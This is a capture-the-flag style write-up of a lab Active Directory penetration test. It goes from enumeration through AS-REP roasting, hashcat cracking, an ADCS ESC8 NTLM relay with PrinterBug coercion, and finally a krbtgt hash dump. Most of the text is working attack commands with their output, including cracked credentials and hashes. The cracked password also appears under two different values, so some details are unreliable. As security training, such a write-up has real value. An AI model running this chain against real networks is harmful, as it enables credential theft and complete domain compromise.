

Active Directory challenge -Shadow Gate- Hacksmarter

Objective

ShadowGate recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity.

While functional validation was completed, the organization deferred a comprehensive security assessment due to delivery pressure and staffing constraints. Leadership has since requested an independent penetration test to validate the security posture of the newly created environment and identify any material risk before the next audit cycle.

The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment.

The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment.

Initial Access

The client has provided you with VPN access to their internal network, but no credentials.

```
wizard-zero@Wiz-Zero:~$ sudo openvpn hacksmarter.ovpn
[sudo] password for wizard-zero:
2026-05-07 15:22:16 OpenVPN 2.6.19 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO]
[LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2026-05-07 15:22:16 library versions: OpenSSL 3.0.13 30 Jan 2024, LZ0 2.10
2026-05-07 15:22:16 DCO version: N/A
2026-05-07 15:22:16 TCP/UDP: Preserving recently used remote address:
[AF_INET]98.82.56.204:1194
2026-05-07 15:22:16 UDPv4 link local: (not bound)
2026-05-07 15:22:16 UDPv4 link remote: [AF_INET]98.82.56.204:1194
2026-05-07 15:22:17 [server] Peer Connection Initiated with
[AF_INET]98.82.56.204:1194
2026-05-07 15:22:18 TUN/TAP device tun0 opened
2026-05-07 15:22:18 net_iface_mtu_set: mtu 1500 for tun0
2026-05-07 15:22:18 net_iface_up: set tun0 up
2026-05-07 15:22:18 net_addr_v4_add: 10.200.53.244/16 dev tun0
```

2026-05-07 15:22:18 Initialization Sequence Completed

Enumerating services

```
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-15
13:41:20Z) 1
35/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap
Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-
First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain:
shadow.gate, Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
shadow.gate, Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain:
shadow.gate, Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
```

Discovery

After further enumeration using enum4linux we find a list of users

```
===== ( Users on 10.0.20.149 ) =====
index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the com
puter/domain
index: 0xff6 RID: 0x45c acb: 0x00000210 Account: amoss Name: Angela Moss Desc: (null)
index: 0xfe9 RID: 0x44f acb: 0x00000210 Account: ATHENA Name: ATHENA Desc: (null)
index: 0xfef RID: 0x455 acb: 0x00000210 Account: bbrown Name: Bob Brown Desc: (null)
index: 0xff3 RID: 0x459 acb: 0x00000210 Account: clocke Name: Caroline Locke Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/
domain
index: 0xff5 RID: 0x45b acb: 0x00000210 Account: jbradford Name: John Bradford Desc: (null)
index: 0xff2 RID: 0x458 acb: 0x00000210 Account: jsmith Name: John Smith Desc: (null)
index: 0xff0 RID: 0x456 acb: 0x00010210 Account: jtrueblood Name: James Trueblood Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xfea RID: 0x450 acb: 0x00000210 Account: mbrownlee Name: Marcel Brownlee Desc: (null)
index: 0xff4 RID: 0x45a acb: 0x00000210 Account: tclarke Name: Todd Clarke Desc: (null)
```

A light directory enumeration using the tool dirb shows a restricted login endpoint /certsrv (Active Directory Certificate Services) It confirms that the target is likely running ADCS, which likely shows that we need to use a privilege escalation vector.

```

---- Scanning URL: http://10.0.20.149/ ----
==> DIRECTORY: http://10.0.20.149/aspnet_client/
==> DIRECTORY: http://10.0.20.149/certenroll/
+ http://10.0.20.149/certsrv (CODE:401|SIZE:1293)

```

In addition, after using netexec modules we discover that PetitPotam and PrinterBug are both vulnerable

```

wizard-zero@Wiz-Zero:~$ nxc smb 10.0.20.149 -u '' -p '' -M petitpotam
SMB 10.0.20.149 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signature:False) (SMBv1:None)
SMB 10.0.20.149 445 DC01 [+] shadow.gate\
PETITPOTAM 10.0.20.149 445 DC01 [-] [REMOVED] This module moved to the new module "coerce_plus"
wizard-zero@Wiz-Zero:~$ nxc smb 10.0.20.149 -u '' -p '' -M coerce_plus
SMB 10.0.20.149 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signature:False) (SMBv1:None)
SMB 10.0.20.149 445 DC01 [+] shadow.gate\
COERCE_PLUS 10.0.20.149 445 DC01 VULNERABLE, PetitPotam
COERCE_PLUS 10.0.20.149 445 DC01 VULNERABLE, PrinterBug

```

After creating the user list from the obtained results, we test if any of the accounts don't require Kerberos pre-authentication using impacket binaries

```

wizard-zero@Wiz-Zero:~$ GetNPUsers.py shadow.gate/ -usersfile users.txt -dc-ip 10.0.20.149 -format hashcat -outputfile asrep_hashes.txt
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:efce11c01318bc9a4e9ee48a39e4a10e55a813329fdc5d993fce6ce1206514df4dca04eb89bd4005fc21b0d2084a0fce1994f99fd7c44cc12da3cbe73b4afc7bb89b95f4bb73db52c3918cf9938cd94d7affd6a28ec8c7034c440cfceeadf5381953f58cd523f7feef3d483f38875176b690f34d75779fa38cdeaa098925cb661053ca40c7eca4a6e1cad4adccc2d45cf898f837dff243d191ccfb5ee6fb6963a952805c04f3b1f79a58c28a057376902431e65d42d5c09b46163f9f107432e0c2714d10b06ff83f28edebf998497520115cfd0d466c95071489042450dea4a56811a6ee48a7fe12c5d1a8f9ecf488d00bc11444862766028cfde
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User clocke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tclarke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jbradford doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User amoss doesn't have UF_DONT_REQUIRE_PREAUTH set

```

After using hashcat to crack the hash using rockyou.txt wordlist

```

$krb5asrep$23$jtrueblood@SHADOW.GATE:efce11c01318bc9a4e9ee48a39e4a10e55a813329fdc5d993fce6ce1206514df4dca04eb89bd4005fc21b0d2084a0fce1994f99fd7c44cc12da3cbe73b4afc7bb89b95f4bb73db52c3918cf9938cd94d7affd6a28ec8c7034c440cfceeadf5381953f58cd523f7feef3d483f38875176b690f34d75779fa38cdeaa098925cb661053ca40c7eca4a6e1cad4adccc2d45cf898f837dff243d191ccfb5ee6fb6963a952805c04f3b1f79a58c28a057376902431e65d42d5c09b46163f9f107432e0c2714d10b06ff83f28edebf998497520115cfd0d466c95071489042450dea4a56811a6ee48a7fe12c5d1a8f9ecf488d00bc11444862766028cfde:brothers

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target.....: $krb5asrep$23$jtrueblood@SHADOW.GATE:efce11c01318bc...28cfde

```

We get the credentials

```
jtrueblood:brothers
```

We find that we have READ permissions over some shares

```
wizard-zero@Wiz-Zero:~$ nxc smb 10.0.20.149 -u 'jtrueblood' -p 'blood_brothers' --shares
SMB      10.0.20.149    445    DC01          [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signature:False) (SMBv1:None)
[*] shadow.gate\jtrueblood:blood_brothers
Enumerated shares
Share            Permissions      Remark
-----
ADMIN$           Remote Admin
C$               Default share
CertEnroll       READ             Active Directory Certificate Services share
IPC$             READ             Remote IPC
NETLOGON         READ             Logon server share
SYSVOL           READ             Logon server share
```

Using certipy we discover that ESC8 is vulnerable, meaning that we can perform an NTLM relay attack to the ADCS web endpoint and get a certificate as any user, including Domain Admin.

```
certipy find -u jtrueblood -p blood_brothers -dc-ip 10.0.20.149 -vulnerable -stdout
```

```

CA Name : shadow-DC01-CA
DNS Name : DC01.shadow.gate
Certificate Subject : CN=shadow-DC01-CA, DC=shadow, DC=gate
Certificate Serial Number : 749A4BA2BEA3CFBC41ECDFAEE502E46C
Certificate Validity Start : 2026-01-12 02:50:31+00:00
Certificate Validity End : 2046-01-12 03:00:31+00:00
Web Enrollment
  HTTP
    Enabled : True
  HTTPS
    Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
  Owner : SHADOW.GATE\Administrators
  Access Rights
    ManageCa : SHADOW.GATE\Administrators
               SHADOW.GATE\Domain Admins
               SHADOW.GATE\Enterprise Admins
    ManageCertificates : SHADOW.GATE\Administrators
                       SHADOW.GATE\Domain Admins
                       SHADOW.GATE\Enterprise Admins
  Enroll : SHADOW.GATE\Authenticated Users
[!] Vulnerabilities
  ESC8 : Web Enrollment is enabled over HTTP.
Certificate Templates : [!] Could not find any certificate templates

```

We start the relay targeting the ADCS web enrollment endpoint and in another terminal tab we use `printerbug.py` , we successfully acquire the certificate.

```
(certipy-venv) wizard-zero@Wiz-Zero:~$ certipy relay -target http://10.0.20.149/certsrv/certfnsh.asp -template DomainController
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting http://10.0.20.149/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445
^[[A[*] (SMB): Received connection from 10.0.20.149, attacking target http://10.0.20.149
[*] HTTP Request: GET http://10.0.20.149/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET http://10.0.20.149/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET http://10.0.20.149/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] (SMB): Authenticating connection from /010.0.20.149 against http://10.0.20.149 SUCCEED [1]
[*] Requesting certificate for '\\\' based on the template 'DomainController'
[*] http://010.0.20.149 [1] -> HTTP Request: POST http://10.0.20.149/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] Certificate issued with request ID 8
[*] Retrieving certificate for request ID: 8
[*] http://010.0.20.149 [1] -> HTTP Request: GET http://10.0.20.149/certsrv/certnew.cer?ReqID=8 "HTTP/1.1 200 OK"
[*] Got certificate with DNS Host Name 'DC01.shadow.gate'
[*] Certificate object SID is 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'
[*] Exiting...
```

```
wizard-zero@Wiz-Zero:~$ python3 printerbug.py shadow.gate/jtrueblood:blood_brothers@10.0.20.149 10.200.53.244
[*] Impacket v0.11.0 - Copyright 2023 Fortra

[*] Attempting to trigger authentication via rprn RPC at 10.0.20.149
[*] Bind OK
[*] Got handle
```

We use the certificate to get the hash

```
(certipy-venv) wizard-zero@Wiz-Zero:~$ certipy auth -pfx dc01.pfx -dc-ip 10.0.20.149
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN DNS Host Name: 'DC01.shadow.gate'
[*] Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531
```

And finally we get the KRBTGT NT Hash using impacket-secretsdump

```
(certipy-venv) wizard-zero@Wiz-Zero:~$ impacket-secretsdump 'shadow.gate/DC01$@10.0.20.149' -hashes :57867e655d1abc9f45fd6e954e351531 -just-dc-user krbtgt
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5509cbfe52e94940c0ec99b21e09802:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:9d2c8f2fec0d6813cde513680b594210cf9c91bc2d4f6715ce25972b6a7c7c5
krbtgt:aes128-cts-hmac-sha1-96:03ed2c0be5231fb6bd698d2bc18b9e39
krbtgt:des-cbc-md5:4a5286207f83ae7c
[*] Cleaning up...
```

Summary of Final Outcome

We achieved the primary objective of a domain controller compromise:

- **User Compromised:** jtrueblood .
- **Machine Compromised:** DC01\$.
- **Ultimate Goal:** Obtained KRBTGT NT Hash: b5509cbfe52e94940c0ec99b21e09802 .